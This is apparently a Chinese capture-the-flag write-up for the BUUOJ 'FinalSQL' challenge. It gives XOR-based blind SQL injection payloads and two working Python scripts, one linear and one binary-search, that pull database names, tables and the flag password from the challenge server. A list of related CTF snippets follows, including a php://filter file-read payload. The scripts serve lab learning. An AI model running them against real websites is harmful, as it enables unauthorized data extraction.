[极客大挑战 2019]FinalSQL
0x00 知识点
盲注
0x01 解题
根据题目提示盲注,随便点几下找到注入点
发现我们输入^符号成功跳转页面,证明存在注入
1^(ord(substr((select(group_concat(schema_name))from(information_schema.schema
ta)),%d,1))=%d)^1"%(i,ord(j)) 获取数据库名称
1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)
where(table_schema)='geek'),%d,1))=%d)^1"%(i,ord(j)) 获取数据库表名
1^(ord(substr((select(group_concat(column_name))from(information_schema.column
s)where(table_name='F1naI1y')),%d,1))=%d)^1"%(i,ord(j))
获取数据库列名
获取flag:
import requests
url = "http://9c13f59b-720e-4c5a-9d63-69342c1be65a.node3.buuoj.cn/search.php"
for i in range(1,20):
for j in range(1,128):
d ="?id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)),'"+str(i)+"',1))='"+str(j)+"')^1"
r = requests.get(url+d)
if 'Click' in r.text:
print(chr(j))
这里再贴一个盲注脚本:
#然后是二分法,二分法要快很多:
# -*- coding: UTF-8 -*-
import re
import requests
import string
url = "http://5dbbc107-a871-4d45-940a-3b2712330fee.node3.buuoj.cn/search.php"
flag = ''
def payload(i,j):
# sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j) #数据库名字
# sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j) #表名
# sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j) #列名
sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1"%(i,j)
data = {"id":sql}
r = requests.get(url,params=data)
# print (r.url)
if "Click" in r.text:
res = 1
else:
res = 0
return res
def exp():
global flag
for i in range(1,10000) :
print(i,':')
low = 31
high = 127
while low <= high :
mid = (low + high) // 2
res = payload(i,mid)
if res :
low = mid + 1
else :
high = mid - 1
f = int((low + high + 1)) // 2
if (f == 127 or f == 31):
break
# print (f)
flag += chr(f)
print(flag)
exp()
print('flag=',flag)

参考链接
http://www.pdsdt.lovepdsdt.com/index.php/2019/11/19/2019_geek_web/#0x20_Finalsql
https://blog.csdn.net/qq_42967398/article/details/102979306
[极客大挑战 2019]FinalSQL的更多相关文章
- BUUOJ [极客大挑战 2019]Secret File
[极客大挑战 2019]Secret File 0X01考点 php的file伪协议读取文件 ?file=php://filter/convert.base64-encode/resource= 0X ...
- [原题复现][极客大挑战 2019]BuyFlag
简介 原题复现:[极客大挑战 2019]BuyFlag 考察知识点:php函数特性(is_numeric().strcmp函数()) 线上平台:https://buuoj.cn(北京联合大学公开 ...
- BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf)+[极客大挑战 2019]LoveSQL(联合注入)
BUUCTF-[极客大挑战 2019]BabySQL(联合注入绕过waf) 记一道联合注入的题,这道题存在过滤. 经过手工的测试,网站会检验用户名和密码是否都存在,如果在用户名处插入注入语句,语句后面 ...
- 极客大挑战2019 http
极客大挑战 http referer 请求头 xff 1.查看源码,发现secret.php 2.提示要把来源改成Sycsecret.buuoj.cn,抓包,添加Referer Referer:htt ...
- [BUUOJ记录] [极客大挑战 2019]RCE ME
前面考察取反或者异或绕过,后面读Flag那里我用脏方法过了,没看出来考察啥 进入题目给出源码: <?php error_reporting(0); if(isset($_GET['code']) ...
- BUUCTF [极客大挑战 2019]Not Bad
总的来说这是一个64位orw的题 开头先在主函数里分配了一个很大的空间 1 __int64 __fastcall main(int a1, char **a2, char **a3) 2 { 3 mm ...
- 极客大挑战 2019 web 部分解
复现环境:buuoj 0x01:Havefun F12查看源码,明显html注释里是一段php get方式传参数,payload:http://f5cdd431-df98-487f-9400-e8d0 ...
- [极客大挑战 2019]HardSQL
0x00 知识点 报错注入 链接: https://www.cnblogs.com/richardlee97/p/10617115.html 报错原因: 其原因主要是因为虚拟表的主键重复.按照MySQ ...
- [极客大挑战 2019]Upload
0x00 知识点 一个常规上传题目,知识点全都来自前几天写的文章: https://www.cnblogs.com/wangtanzhi/p/12243206.html 1:某些情况下绕过后缀名检测: ...
随机推荐
- C++ 11 :override 关键字的使用
override 关键字 作用:在成员函数声明或定义中, override 确保该函数为虚函数并覆写来自基类的虚函数. 位置:函数调用运算符之后,函数体或纯虚函数标识 "= 0" ...
- 通过 Service 访问 Pod【转】
本节开始学习 Service.我们不应该期望 Kubernetes Pod 是健壮的,而是要假设 Pod 中的容器很可能因为各种原因发生故障而死掉.Deployment 等 controller 会通 ...
- python里的def 方法中->代表什么意思?
功能注释 函数注释是关于用户定义函数使用的类型的完全可选元数据信息(请参阅PEP 3107和 PEP 484了解更多信息). 注释__annotations__ 作为字典存储在函数的属性中,对函数的任 ...
- R 《回归分析与线性统计模型》page164 单变量、多变量多项式模型
--多项式回归模型 --单变量多项式模型 --多变量多项式模型 rm(list = ls()) library(openxlsx) library(leaps) #单变量多项式模型# data = r ...
- tools.windows.bat#批处理
关于%~ %~I - 删除任何引号("),扩展 %I %~fI - 将 %I 扩展到一个完全合格的路径名 %~dI - 仅将 %I 扩展到一个驱动器号 %~pI - 仅将 %I 扩展到一个路 ...
- Day8 - D - Multiplication Table CodeForces - 448D
Bizon the Champion isn't just charming, he also is very smart. While some of us were learning the mu ...
- Python 必知的 20 个骚操作!
以下为译文: Python 是一个解释型语言,可读性与易用性让它越来越热门. 正如 Python 之禅中所述: 优美胜于丑陋,明了胜于晦涩. 在你的日常编码中,以下技巧可以给你带来意想不到的收获. ...
- DevOps 教程
DevOps是一种研发文化,它促进开发团队和运维团队之间更好地协作,以自动化和可重复的方式,更快地将代码部署到生产环境中.DevOps是development和operations两个单词的组合. D ...
- PHPmyadmin Getshell(10.25 第二十七天)
PHPmyadmin Getshell的方法(1)show global variables like '% secure-file-priv%' 如果该参数设置为空或者指定的文件夹可以利用,然后写木 ...
- HDU - 6000 Wash(优先队列+贪心)
题意:已知有L件衣服,M个洗衣机,N个烘干机,已知每个机器的工作时间,且每个机器只能同时处理一件衣服,问洗烘完所有衣服所需的最短时间. 分析: 1.优先队列处理出每件衣服最早的洗完时间. 2.优先队列 ...